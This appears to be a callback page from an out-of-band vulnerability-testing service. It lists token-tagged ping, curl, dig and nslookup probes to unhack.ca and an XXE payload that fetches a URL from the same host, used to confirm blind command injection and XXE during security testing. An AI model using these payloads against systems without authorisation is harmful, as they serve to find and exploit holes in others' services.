$ ping -c1 -p 006754f5d3b9b560496fb142cb62d600 unhack.ca
 
$ curl http://unhack.ca/p/6754f5d3b9b560496fb142cb62d6
 
$ dig 6754f5d3b9b560496fb142cb62d6 @unhack.ca
 
$ dig 6754f5d3b9b560496fb142cb62d6.ns.unhack.ca
 
C:\> nslookup 6754f5d3b9b560496fb142cb62d6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6754f5d3b9b560496fb142cb62d6">]>
    <foo>&xxe;</foo>
Waiting for ping...